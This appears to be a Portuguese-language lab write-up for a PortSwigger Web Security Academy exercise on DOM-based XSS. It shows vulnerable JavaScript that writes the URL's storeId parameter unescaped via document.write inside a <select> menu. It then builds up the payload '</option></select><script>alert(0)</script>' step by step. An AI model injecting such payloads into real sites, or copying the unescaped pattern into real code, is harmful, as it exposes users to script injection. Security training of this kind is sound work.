> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-dom-with-document-write-inside-a-select.md).

# XSS DOM com document.write Dentro de um Select

Notas sobre XSS DOM com document.write Dentro de um Select para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### XSS no DOM no sink document.write usando a fonte location.search dentro de um elemento \<select>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3777adc47a80abf327900341d53fd590c9c2b953%2F%7B0535C86B-0FED-496A-9F37-4E188329FB70%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O código a seguir gera dinamicamente um `<select>` menu suspenso com diferentes cidades e seleciona a transmitida no **storeId** parâmetro na URL:

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

Exemplo com parâmetro:

```
product?productId=2&storeId=Jordan
```

* Isso adiciona uma nova opção à lista suspensa.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c05cce710a5ca9e2f28c556674fe7a7ebc58e27%2F%7BD5002999-18C6-433A-A692-EF6E936624DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ao fechar manualmente o `<option>` tag:

```javascript
</option>Jordan
```

`<select>` também pode ser fechado:

```javascript
</option></select>Jordan
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-634daeab26425b1aefdca18fd2c9771dbbe8d4e0%2F%7B57F4476D-25D5-4A6C-8B7B-A94EE35BD0A9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Injeção final para executar JavaScript:

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee68b44c9ad59be2eae94337eabb14fdfd721dde%2F%7B02BAA283-C850-4AD3-BD5F-19C45D8B98F3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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